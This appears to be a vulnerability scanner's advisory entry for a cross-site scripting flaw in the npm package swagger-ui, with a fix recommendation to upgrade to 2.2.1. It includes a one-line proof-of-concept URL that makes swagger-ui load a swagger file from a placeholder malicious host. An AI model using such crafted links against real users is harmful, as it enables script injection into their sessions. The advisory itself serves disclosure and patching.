QID 980702
QID 980702: Nodejs (npm) Security Update for swagger-ui (GHSA-7f59-x49p-v8mq)
Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.
Additionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.
## Proof of Concept
```
http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json
````
## Recommendation
Update to version 2.2.1 or later.
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-7f59-x49p-v8mq for updates pertaining to this vulnerability.
Vendor References
- GHSA-7f59-x49p-v8mq -
github.com/advisories/GHSA-7f59-x49p-v8mq
CVEs related to QID 980702
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-7f59-x49p-v8mq | swagger-ui |
|